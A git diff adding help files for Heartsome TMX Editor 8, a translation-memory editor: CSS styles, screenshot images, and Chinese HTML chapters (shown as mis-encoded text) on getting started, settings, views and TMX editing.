+h2.title { + font-size: 18px; + font-weight: bold; + color: #1B5874; +} +/* +Section title +Level 3 +*/ +h3 { + font-size: 16px; + font-weight: bold; + color: #1B5874; +} + +h3.title { + font-weight: bold; + font-size: 16px; + color: #1B5874; + +} + +/* +Section title +Level 4 +*/ +h4 { + font-size: 13px; + font-weight: bold; +} + +h4.title { + font-weight: bold; + font-size: 13px; + color: #1B5874; +} + +.sect2 { + margin-left: 20px; +} + +.sect3 { + margin-left: 30px; +} + +span.emphasis, .emphasis { + font-weight: bold; + line-height: 1.0; +} + +div.glosslist { + margin-left: 20px; +} + +div.glossary_item_title { + font-weight: bold; + font-size: 13px; + margin-top: 10px; + margin-bottom: 10px; + color: #1b5874; +} + + + +div.note, div.warning { + background-image: url(../images/mark-icons-warn.png); + background-repeat: no-repeat; + background-position: 0px center; + padding-left: 45px; + margin-left: -10px; +} + +div.tip { + background-image: url(../images/mark-icons-info.png); + background-repeat: no-repeat; + background-position: 0px center; + padding-left: 45px; + margin-left: -10px; +} + +div.question { + background-image: url(../images/mark-icons-questions.png); + background-repeat: no-repeat; + background-position: 0px center; + padding-left: 45px; + margin-left: -10px; +} + +ol.orderedlist, li.listitem { + margin-left: 0px; + +} + +.interfacename { + font-weight: bold; + font-size: 13px; +} + +span.guilabel, span.type { + font-size: 13px; + font-weight: normal; +} +dd { + display: block; + margin-top: 0; + margin-bottom: 0; + margin-left: 20px; +} +dl { + margin-top: 0; + margin-bottom: 0; + margin-left: -1; +} +li p { + margin-bottom: 5px; + margin-top: 5px; + margin-left:0px; + line-height: 2; +} +div p{ + margin-bottom: 5px; + margin-top: 5px; + margin-left:0px; + line-height: 2; +} +li strong { + color: rgb(47, 105, 86); + font-family: Verdana, Arial, Helv, Helvetica, sans-serif; + font-size:14px; +} +strong { + color: black; +} + +.tableStyle{width: 400px;background-color: #95A5D2;} +.headerTd{background-color: #F3F8FD;font-size: 9pt;height: 25;text-align: center;font-weight:bold;COLOR: #1b5874;} +.fileTd {height: 24;padding-left:6px ;font-size: 9pt;} + diff --git a/te/net.heartsome.cat.te.ui.help/html/en/images/QA1.png b/te/net.heartsome.cat.te.ui.help/html/en/images/QA1.png new file mode 100644 index 0000000..e9e4a9a Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/en/images/QA1.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/en/images/QA2.png b/te/net.heartsome.cat.te.ui.help/html/en/images/QA2.png new file mode 100644 index 0000000..9838c83 Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/en/images/QA2.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/en/images/QA3.png b/te/net.heartsome.cat.te.ui.help/html/en/images/QA3.png new file mode 100644 index 0000000..b791456 Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/en/images/QA3.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/en/images/Thumbs.db b/te/net.heartsome.cat.te.ui.help/html/en/images/Thumbs.db new file mode 100644 index 0000000..c47a1cf Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/en/images/Thumbs.db differ diff --git a/te/net.heartsome.cat.te.ui.help/html/en/images/clean_tm.png b/te/net.heartsome.cat.te.ui.help/html/en/images/clean_tm.png new file mode 100644 index 0000000..53ff56a Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/en/images/clean_tm.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/en/images/cut_up_tmx.png b/te/net.heartsome.cat.te.ui.help/html/en/images/cut_up_tmx.png new file mode 100644 index 0000000..65a61aa Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/en/images/cut_up_tmx.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/en/images/database_1.png b/te/net.heartsome.cat.te.ui.help/html/en/images/database_1.png new file mode 100644 index 0000000..7906cce Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/en/images/database_1.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/en/images/database_2.png b/te/net.heartsome.cat.te.ui.help/html/en/images/database_2.png new file mode 100644 index 0000000..4ec6211 Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/en/images/database_2.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/en/images/database_3.png b/te/net.heartsome.cat.te.ui.help/html/en/images/database_3.png new file mode 100644 index 0000000..f67f5c8 Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/en/images/database_3.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/en/images/database_4.png b/te/net.heartsome.cat.te.ui.help/html/en/images/database_4.png new file mode 100644 index 0000000..2cafb57 Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/en/images/database_4.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/en/images/database_5.png b/te/net.heartsome.cat.te.ui.help/html/en/images/database_5.png new file mode 100644 index 0000000..390c894 Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/en/images/database_5.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/en/images/icons_add.png b/te/net.heartsome.cat.te.ui.help/html/en/images/icons_add.png new file mode 100644 index 0000000..550cc6a Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/en/images/icons_add.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/en/images/icons_del.png b/te/net.heartsome.cat.te.ui.help/html/en/images/icons_del.png new file mode 100644 index 0000000..52632fb Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/en/images/icons_del.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/en/images/icons_edit.png b/te/net.heartsome.cat.te.ui.help/html/en/images/icons_edit.png new file mode 100644 index 0000000..bc46776 Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/en/images/icons_edit.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/en/images/key_1.png b/te/net.heartsome.cat.te.ui.help/html/en/images/key_1.png new file mode 100644 index 0000000..cbb875a Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/en/images/key_1.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/en/images/key_2.png b/te/net.heartsome.cat.te.ui.help/html/en/images/key_2.png new file mode 100644 index 0000000..86a5259 Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/en/images/key_2.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/en/images/lang_select.png b/te/net.heartsome.cat.te.ui.help/html/en/images/lang_select.png new file mode 100644 index 0000000..f3be3d8 Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/en/images/lang_select.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/en/images/lic1.png b/te/net.heartsome.cat.te.ui.help/html/en/images/lic1.png new file mode 100644 index 0000000..7dcf35f Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/en/images/lic1.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/en/images/lic2.png b/te/net.heartsome.cat.te.ui.help/html/en/images/lic2.png new file mode 100644 index 0000000..6fdfc1d Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/en/images/lic2.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/en/images/lic3.png b/te/net.heartsome.cat.te.ui.help/html/en/images/lic3.png new file mode 100644 index 0000000..f5e2390 Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/en/images/lic3.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/en/images/main.png b/te/net.heartsome.cat.te.ui.help/html/en/images/main.png new file mode 100644 index 0000000..af59b32 Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/en/images/main.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/en/images/mark-icons-info.png b/te/net.heartsome.cat.te.ui.help/html/en/images/mark-icons-info.png new file mode 100644 index 0000000..c88e63f Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/en/images/mark-icons-info.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/en/images/save.png b/te/net.heartsome.cat.te.ui.help/html/en/images/save.png new file mode 100644 index 0000000..7b1e304 Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/en/images/save.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/en/images/search_key.png b/te/net.heartsome.cat.te.ui.help/html/en/images/search_key.png new file mode 100644 index 0000000..4125c30 Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/en/images/search_key.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/en/images/search_quick.png b/te/net.heartsome.cat.te.ui.help/html/en/images/search_quick.png new file mode 100644 index 0000000..c5da785 Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/en/images/search_quick.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/en/images/set.png b/te/net.heartsome.cat.te.ui.help/html/en/images/set.png new file mode 100644 index 0000000..68d0067 Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/en/images/set.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/en/images/set_1.png b/te/net.heartsome.cat.te.ui.help/html/en/images/set_1.png new file mode 100644 index 0000000..71c47ad Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/en/images/set_1.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/en/images/set_2.png b/te/net.heartsome.cat.te.ui.help/html/en/images/set_2.png new file mode 100644 index 0000000..24bf1de Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/en/images/set_2.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/en/images/set_3.png b/te/net.heartsome.cat.te.ui.help/html/en/images/set_3.png new file mode 100644 index 0000000..2ffb214 Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/en/images/set_3.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/en/images/tool_new.png b/te/net.heartsome.cat.te.ui.help/html/en/images/tool_new.png new file mode 100644 index 0000000..f7872fd Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/en/images/tool_new.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/en/images/trans_1.png b/te/net.heartsome.cat.te.ui.help/html/en/images/trans_1.png new file mode 100644 index 0000000..b791456 Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/en/images/trans_1.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/en/images/trans_2.png b/te/net.heartsome.cat.te.ui.help/html/en/images/trans_2.png new file mode 100644 index 0000000..60512b5 Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/en/images/trans_2.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/en/images/trans_code.png b/te/net.heartsome.cat.te.ui.help/html/en/images/trans_code.png new file mode 100644 index 0000000..e90c30d Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/en/images/trans_code.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/en/images/trans_docx.png b/te/net.heartsome.cat.te.ui.help/html/en/images/trans_docx.png new file mode 100644 index 0000000..b9422fa Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/en/images/trans_docx.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/en/images/trans_tbx.png b/te/net.heartsome.cat.te.ui.help/html/en/images/trans_tbx.png new file mode 100644 index 0000000..38ce8fb Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/en/images/trans_tbx.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/en/images/trans_txt.png b/te/net.heartsome.cat.te.ui.help/html/en/images/trans_txt.png new file mode 100644 index 0000000..686a120 Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/en/images/trans_txt.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/en/images/trans_xlsx.png b/te/net.heartsome.cat.te.ui.help/html/en/images/trans_xlsx.png new file mode 100644 index 0000000..d1c74cd Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/en/images/trans_xlsx.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/en/images/view_QA.png b/te/net.heartsome.cat.te.ui.help/html/en/images/view_QA.png new file mode 100644 index 0000000..9b610e7 Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/en/images/view_QA.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/en/images/view_attr.png b/te/net.heartsome.cat.te.ui.help/html/en/images/view_attr.png new file mode 100644 index 0000000..6c9a434 Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/en/images/view_attr.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/en/images/view_edit.png b/te/net.heartsome.cat.te.ui.help/html/en/images/view_edit.png new file mode 100644 index 0000000..b5237c0 Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/en/images/view_edit.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/en/images/view_main.png b/te/net.heartsome.cat.te.ui.help/html/en/images/view_main.png new file mode 100644 index 0000000..5a5f198 Binary files /dev/null and b/te/net.heartsome.cat.te.ui.help/html/en/images/view_main.png differ diff --git a/te/net.heartsome.cat.te.ui.help/html/zh/ch01.html b/te/net.heartsome.cat.te.ui.help/html/zh/ch01.html new file mode 100644 index 0000000..23421c4 --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/html/zh/ch01.html @@ -0,0 +1,292 @@ + + + +欢迎使用 TMX Editor 8.0 + + + + + + + + +
    +
    +
    +

    +欢迎使用 Heartsome TMX Editor 8

    +
    +
    +
    + + + +

    + +

    + + +

    +Heartsome TMX Editor 8 + 新特性 +

    +

    +使用入门 +

    + + +

    +    å¿«é€Ÿå…¥é—¨ +

    + + +

    +    è®¾ç½®é€‰é¡¹ +

    + + +

    +        ç³»ç»Ÿå‚数设置 +

    + + +

    +        å¿«æ·é”®è®¾ç½® +

    + + +

    +        ç½‘络连接设置 +

    + + +

    +    è§†å›¾ +

    + + +

    +        è§†å›¾ç®€ä»‹ +

    + + +

    +        æ›´æ”¹è§†å›¾è¯­è¨€ +

    + + +

    +        å…³äºŽç¼–辑视图 +

    + + +

    +        å…³äºŽ QA 视图 +

    + + +

    +        å…³äºŽå±žæ€§ç¼–辑视图 +

    + + +

    +编辑 TMX +

    + + +

    +     如何新建一个标准 + +

    + + +

    +    TMX 支æŒå¤šè¯­è¨€çš„ TMX 编辑 +

    + + +

    +        å¦‚何支æŒå¤šè¯­ +

    + + +

    +        ç¼–辑æºæ–‡å’Œè¯‘æ–‡ +

    + + +

    +        ç¼–辑翻译å•å…ƒå±žæ€§ +

    + + +

    +        ç¼–辑翻译å•å…ƒæ‰¹æ³¨ +

    + + +

    +    TMX 高级编辑 +

    + + +

    +        åˆ†å‰²å’Œåˆå¹¶ TMX +

    + + +

    +        æ›´æ”¹è¯­è¨€ä»£ç  +

    + + +

    +        åˆ é™¤æŒ‡å®šè¯­è¨€ +

    + + +

    +        æ¸…除所有标记 +

    + + +

    +        TMX æ— ç”¨å†…å®¹æ¸…ç† +

    + + +

    +编辑 Heartsome Translation Studio 8.0 + 记忆库 +

    + + +

    +     如何连接记忆库 +

    + + +

    +    æ”¯æŒå¤šè¯­è¨€çš„记忆库编辑 +

    + + +

    +        å¦‚何支æŒå¤šè¯­ +

    + + +

    +        ç¼–辑æºæ–‡å’Œè¯‘æ–‡ +

    + + +

    +        ç¼–辑翻译å•å…ƒå±žæ€§ +

    + + +

    +        ç¼–辑翻译å•å…ƒæ‰¹æ³¨ +

    + + +

    +         æ— ç”¨å†…å®¹æ¸…ç† +

    + + +

    +æœç´¢å’Œè¿‡æ»¤ +

    + + +

    +    å…³é”®å­—æœç´¢ +

    + + +

    +    å¿«é€Ÿè¿‡æ»¤ +

    + + +

    +    è‡ªå®šä¹‰è¿‡æ»¤æ¡ä»¶ +

    + + +

    +QA +

    + + +

    +    é€‰æ‹© QA 检查项 +

    + + +

    +    æ‰§è¡Œ QA ç”Ÿæˆ QA 报告 +

    + + +

    +    å¦‚何根æ®æŠ¥å‘Šå¤„ç† QA 结果 +

    + + +

    +å®žç”¨å·¥å…·ä»‹ç» +

    + + +

    +    TMX 转æ¢ä¸ºå…¶ä»–æ ¼å¼æ–‡ä»¶ +

    + + +

    +    å…¶ä»–æ ¼å¼æ–‡ä»¶è½¬æ¢ä¸º TMX 文件 +

    + + +

    +    æ–‡ä»¶ç¼–ç è½¬æ¢å™¨ +

    + + +

    +å…³äºŽç‰ˆæœ¬å’Œè®¸å¯ +

    + + +

    +    ç‰ˆæœ¬ä»‹ç» +

    + + +

    +    å…³äºŽè®¸å¯ +

    + + +

    +    å¦‚ä½•æ¿€æ´»äº§å“ +

    + +

    +    å¦‚何å–消激活 +

    + +

    +术语表 +

    + + +

    +版æƒè¯´æ˜Ž +

    + + diff --git a/te/net.heartsome.cat.te.ui.help/html/zh/ch02.html b/te/net.heartsome.cat.te.ui.help/html/zh/ch02.html new file mode 100644 index 0000000..ac69247 --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/html/zh/ch02.html @@ -0,0 +1,114 @@ + + + +Heartsome TMX Editor 8 新特性 + + + + + + + + +
    +
    +
    +
    +

    +Heartsome TMX Editor 8 新特性

    +
    +
    +
    + + + +

    如下是此å‘行版的新特性完整列表:

    + + + + + +
    +
    +
    +TMX 文件高性能编辑和维护
    +
    +

        TMX æºæ–‡å’Œè¯‘文编辑

    +

        ç¿»è¯‘å•å…ƒå±žæ€§ç¼–辑

    +

        ç¿»è¯‘å•å…ƒæ‰¹æ³¨ç¼–辑

    +

        å…³é”®å­—æœç´¢

    +

        å†…置快速过滤器

    +
    +
    +TMX 与其他格å¼æ–‡ä»¶çš„è½»æ¾è½¬æ¢
    +
    +

        TMX 转æ¢ä¸º DOCX / XLSX / TXT / TBX / HSTM

    +

        DOCX / XLSX / TXT / TBX / HSTM 转æ¢ä¸º TMX

    +
    +
    +TMX 的 QA 功能
    +
    +

        å¤šç§ QA 检查项

    +

        ç”Ÿæˆ QA 报告

    +

        å¤„ç† QA 结果

    +
    +
    +Heartsome Translation Studio 8 记忆库专用编辑和维护
    +
    +

        è®°å¿†åº“æºæ–‡å’Œè¯‘文编辑

    +

        ç¿»è¯‘å•å…ƒå±žæ€§ç¼–辑

    +

    翻译å•å…ƒæ‰¹æ³¨ç¼–辑

    +

        å…³é”®å­—æœç´¢

    +

        å†…置快速过滤器

    +
    +
    +TMX å’Œ Heartsome Translation Studio 8 记忆库无用内容清ç†
    +
    +

        å†…置无用内容批é‡æ¸…ç†

    +
    +
    +
    + +
    + + diff --git a/te/net.heartsome.cat.te.ui.help/html/zh/ch03.html b/te/net.heartsome.cat.te.ui.help/html/zh/ch03.html new file mode 100644 index 0000000..d1a476c --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/html/zh/ch03.html @@ -0,0 +1,497 @@ + + + +使用入门 + + + + + + + + +
    +
    +
    +
    +

    +使用入门

    +
    +
    +
    + + + +

    以下是 Heartsome TMX Editor 8 快速入门和常规é…置的介ç»ï¼š

    + + +
    +
    +
    +快速入门
    +
    +

    我们这里介ç»å¦‚何快速编辑一个 TMX 文件和 Heartsome Translation Studio 8 + 记忆库。

    +
    +
      +
    • + +

      +快速编辑 + TMX +

      + + +

      1ã€é€šè¿‡èœå•“文件”-“打开 TMX”,在弹出的对è¯æ¡†ä¸­é€‰æ‹© TMX 文件。

      + + +

      2ã€åœ¨ç¼–辑器中打开 TMX 文件åŽï¼Œå•å‡»ä»»ä¸€å•å…ƒæ ¼å³å¯è¿›è¡Œç¼–辑。

      + + +

      3ã€æ¯é€‰ä¸­ä¸€è¡Œï¼Œå³è¾¹çš„“属性编辑”视图都将刷新当å‰è¡Œçš„属性,您å¯ä»¥é€šè¿‡åŒå‡»æˆ–å•å‡»ã€æ·»åŠ ã€‘ã€ç¼–辑】ã€åˆ é™¤ã€‘按钮对所有属性进行æ“作。

      + + +

      4ã€TMX 内容编辑åŽï¼Œéœ€è¦æ‰‹åŠ¨ç‚¹å‡»èœå•æ çš„按钮,或使用快æ·é”® CTRL+S + 进行ä¿å­˜æ“作,让最终编辑结果生效。但å³ä½¿æ²¡æœ‰æ‰‹åŠ¨ä¿å­˜ï¼Œç¼–辑结果也ä¸ä¼šä¸¢å¤±ï¼Œå› ä¸ºæˆ‘们进行了缓存。

      + + +

      5ã€å±žæ€§çš„编辑åŠæ—¶ç”Ÿæ•ˆï¼Œæ— éœ€æ‰‹åŠ¨ä¿å­˜ã€‚

      + +
    • +
    • + +

      +快速编辑 Heartsome Translation Studio 8 + 记忆库 +

      + + +

      1ã€é€šè¿‡èœå•“文件”-“连接记忆库”,选择记忆库类型进行连接打开。

      + + +

      2ã€å¦‚果选择“文件型记忆库”,那么直接选择计算机上的记忆库打开å³å¯ï¼›å¦‚果选择“æœåŠ¡åž‹è®°å¿†åº“”,需è¦æ ¹æ®è®°å¿†åº“的类型填写好æœåŠ¡å™¨ç›¸å…³å‚数,如:IP地å€ã€ç«¯å£ã€ç”¨æˆ·ã€å¯†ç ç­‰ï¼Œåœ¨æŸ¥è¯¢çš„结果列表中选择您想è¦ç¼–辑的记忆库å³å¯ã€‚

      + + +

      3ã€å¯¹äºŽå†…容和属性的编辑与 TMX + 编辑方法相åŒã€‚

      + + +

      4ã€Heartsome Translation Studio 8 + 记忆库的编辑为实时ä¿å­˜ï¼Œæ— éœ€æ‰‹åŠ¨æ“作。

      + +
    • +
    +
    +
    +
    +系统å‚数设置
    +
    +

    +系统å‚数里您å¯ä»¥è®¾ç½®è‡ªåŠ¨æ›´æ–°çš„频率ã€è½¯ä»¶ç•Œé¢è¯­è¨€ã€è½¯ä»¶ç•Œé¢å­—体以åŠå½“å‰ç”¨æˆ·å。

    +
    +
      +
    • + +

      +自动更新:软件根æ®æ‚¨çš„设置,定期连接æœåŠ¡å™¨æ£€æŸ¥æ˜¯å¦æœ‰ç‰ˆæœ¬æ›´æ–°ã€‚

      + +
    • +
    • + +

      +ç•Œé¢è¯­è¨€ï¼šè½¯ä»¶æ供了英文和简体中文两ç§ç•Œé¢è¯­è¨€ä¾›é€‰æ‹©ã€‚

      + +
    • +
    • + +

      +用户å:用户å将默认作为 TMX 翻译å•å…ƒçš„ + changeid 存入记忆库。

      + +
    • +
    +
    +
    +
    +å¿«æ·é”®è®¾ç½®
    +
    +

    您å¯ä»¥åœ¨è¿™é‡Œä¸ºè½¯ä»¶çš„所有功能设置您想è¦ç»‘定的快æ·é”®ã€‚如果您需è¦ä¿®æ”¹æŸä¸€ä¸ªåŠŸèƒ½çš„å¿«æ·é”®ï¼š

    +

    1ã€ç‚¹å‡»è¯¥åŠŸèƒ½å¯¹åº”çš„å¿«æ·é”®å•å…ƒæ ¼ï¼Œæ­¤æ—¶ä¼šè¿›å…¥ç¼–辑状æ€ã€‚

    +

    2ã€åœ¨é”®ç›˜æŒ‰ä¸‹æ‰€éœ€ç»„åˆå¿«æ·é”®ã€‚

    +

    3ã€ç‚¹å‡»ç•Œé¢å…¶ä»–地方,自动退出编辑状æ€ã€‚

    +

    4ã€é‡è¦çš„一步:点击ã€åº”用】按钮,或ã€ç¡®å®šã€‘按钮进行ä¿å­˜ã€‚

    +

    5ã€å¦‚果设置的快æ·é”®ä¸Žå…¶ä»–功能设置有冲çªï¼Œç³»ç»Ÿä¼šä»¥çº¢è‰²èƒŒæ™¯æ ‡ç¤ºå‡ºæœ‰å†²çªä¸¤ä¸ªåŠŸèƒ½ã€‚

    +
    +
    +网络连接设置
    +
    +

    网络连接为您æ供使用代ç†æœåŠ¡å™¨è¿žæŽ¥ Internet。您å¯ä»¥æ ¹æ®æ‚¨çš„实际情况设置代ç†æœåŠ¡å™¨çš„é…置方å¼ï¼š

    +
    +
      +
    • + +

      +系统默认代ç†ï¼šå¦‚果您的æ“作系统已ç»é…置好代ç†æœåŠ¡å™¨ï¼Œè¯·é€‰æ‹©è¯¥é…置。

      + +
    • +
    • + +

      +自定义代ç†ï¼šå¦‚果您想专门为 Heartsome TMX + Editor 8 设置代ç†æœåŠ¡å™¨ï¼Œè¯·é€‰æ‹©è¯¥é…置。然åŽåœ¨ä»£ç†æœåŠ¡å™¨åˆ—表中åŒå‡»è¦é…置的代ç†æœåŠ¡å™¨ç±»åž‹ï¼ˆHTTPã€HTTPS 或 SOCKS),输入代ç†æœåŠ¡çš„主机地å€ã€ç«¯å£ã€‚而用户å和密ç åˆ™å–决于您的代ç†æœåŠ¡å™¨æ˜¯å¦è¦æ±‚身份验è¯ã€‚

      + + +

      此外,您还å¯ä»¥ä¸ºè‡ªå®šä¹‰ä»£ç†è®¾ç½®ä¸€äº›ç‰¹æ®Šçš„例外主机地å€ï¼Œå³ä»…在访问这些例外主机地å€æ—¶ä¸ä½¿ç”¨ä»£ç†æœåŠ¡å™¨ã€è€Œæ˜¯ç›´æŽ¥è¿žæŽ¥ã€‚需è¦è®¾ç½®ä¸ºä¾‹å¤–的情况,通常是本机(localhost 或 + 127.0.0.1)和局域网(192.168.*.*)地å€ã€‚

      + +
    • +
    +
    +
    +
    +视图简介
    +
    +

    Heartsome TMX Editor 8 包å«ä»¥ä¸‹è§†å›¾ï¼š

    +

    + +

    +
    +
      +
    • + +

      工具æ ï¼šè¿™é‡Œæ˜¯å¸¸ç”¨çš„一些功能快æ·æ–¹å¼ï¼Œæ‚¨ä¹Ÿå¯ä»¥é€šè¿‡ç›¸åº”çš„å¿«æ·é”®æ¥æ‰§è¡Œç›¸å…³åŠŸèƒ½ã€‚

      + +
    • +
    • + +

      æœç´¢ä¸Ž QA:这里æ供关键字æœç´¢ä»¥åŠ TMX 文件的 QA 执行,以两个 TAB æ¥åˆ‡æ¢æ˜¾ç¤ºã€‚

      + +
    • +
    • + +

      编辑器:是软件的主编辑区,主è¦è¿›è¡Œæºæ–‡å’Œè¯‘文的编辑以åŠå…³é”®å±žæ€§çš„显示。

      + +
    • +
    • + +

      属性编辑:这里å¯ç¼–辑翻译å•å…ƒçš„所有属性。

      + +
    • +
    +
    +
    +
    +更改视图语言
    +
    +

    您å¯ä»¥é€šè¿‡èœå•“工具”-“选项”-“系统”,找到“ç•Œé¢è¯­è¨€”设置选项æ¥æ›´æ”¹è§†å›¾è¯­è¨€ã€‚

    +
    +
    +关于编辑视图
    +
    +

    编辑视图分“æœç´¢è¿‡æ»¤”å’Œ“编辑器”两个视图区域。在æœç´¢è¿‡æ»¤åŒºåŸŸä¸­ï¼Œæ‚¨å¯ä»¥åˆ‡æ¢è¯­è¨€å¯¹ï¼ˆå¦‚果是多语言),å¯ä»¥æœç´¢å…³é”®å­—,也å¯ä»¥æ ¹æ®å†…置的快速过滤æ¡ä»¶è¿‡æ»¤æ‚¨å…³å¿ƒçš„内容,åŒæ—¶è¿˜æ供了更加çµæ´»å¼ºå¤§çš„自定义组åˆæ¡ä»¶ã€‚

    +

    + + 特别说明:“æœç´¢”与“过滤器”之间没有互相关è”,任何一个æ¡ä»¶æ”¹å˜éƒ½ä¼šä»¥åŽŸå§‹ TMX + 文件内容或记忆库内容é‡æ–°åˆ·æ–°ç»“果。

    +

    + +

    +
    +
      +
    • + +

      +æœç´¢ï¼šæ供语言对的切æ¢å’Œå…³é”®å­—çš„æœç´¢ã€‚

      + +
    • +
    • + +

      +过滤器:æ供快速过滤和自定义过滤。

      + +
    • +
    • + +

      +编辑器:编译 TMX + 文件的æºæ–‡å’Œè¯‘文。

      + +
    • +
    +
    +
    +
    +关于 QA 视图
    +
    +

    QA 视图分“QA 执行”å’Œ “QA 结果显示”两个区域视图。åŒå‡» QA 结果å¯å®šä½åˆ°ç¼–辑器中的相关行。

    +

    + +

    +
    +
    +关于属性编辑视图
    +
    +

    属性编辑视图中您å¯ä»¥ç¼–辑翻译å•å…ƒå›ºå®šå±žæ€§ã€ç¿»è¯‘å•å…ƒè‡ªå®šä¹‰å±žæ€§ã€ç¿»è¯‘å•å…ƒå˜é‡å±žæ€§å’Œç¿»è¯‘å•å…ƒæ‰¹æ³¨ã€‚å››ç§å±žæ€§åˆ†åˆ«ç½®äºŽå››ä¸ªä¸åŒçš„表格中显示和æ“作。

    +

    + +

    +
    +
    +如何创建一个标准 TMX
    +
    +

    1ã€é€šè¿‡èœå•“文件”-“新建 TMX 文件”或点击工具æ æŒ‰é’®æˆ–使用快æ·é”® Ctrl+N,打开新建 TMX 文件的æ“作对è¯æ¡†

    +

    2ã€é€‰æ‹©“ä¿å­˜ä½ç½®”,设置该 TMX 文件的“æºè¯­è¨€”å’Œ“目标语言”,å•å‡»ã€ç¡®å®šã€‘æŒ‰é’®ï¼Œå®Œæˆ TMX + 文件的创建

    +

    3ã€åˆ›å»ºæˆåŠŸåŽï¼Œè½¯ä»¶é»˜è®¤æ‰“开该空 TMX 文件,进入编辑状æ€

    +
    +
    +如何支æŒå¤šè¯­è¨€
    +
    +

    Heartsome TMX Editor 8 支æŒå¤šè¯­è¨€çš„ TMX + 文件,您å¯ä»¥éšæ—¶åˆ‡æ¢è¯­è¨€å¯¹è¿›è¡Œæ˜¾ç¤ºå’Œç¼–辑æ“作。

    +

    1ã€æ‰“开多语言的 TMX 文件。

    +

    2ã€å¦‚关于编辑视图的介ç»ä¸­ï¼Œåœ¨æœç´¢åŒºåŸŸå¯¹“溔和“目标”进行语言对的选择。

    +

    + +

    +

    3ã€ç‚¹å‡»ã€æœç´¢ã€‘按钮,å³å¯æ˜¾ç¤ºå½“å‰è¯­è¨€å¯¹å†…容。

    +
    +
    +
    + + +
    +
      +
    • + +

      +编辑æºæ–‡å’Œè¯‘æ–‡ +

      + + +

      å•å‡»ç¼–辑器中æºæ–‡å•å…ƒæ ¼æˆ–译文å•å…ƒæ ¼å³å¯è¿›å…¥ç¼–辑模å¼ï¼Œç¼–辑完æˆåŽéœ€è¦æ³¨æ„2个æ“作:

      + + +
      +
        +
      • + +

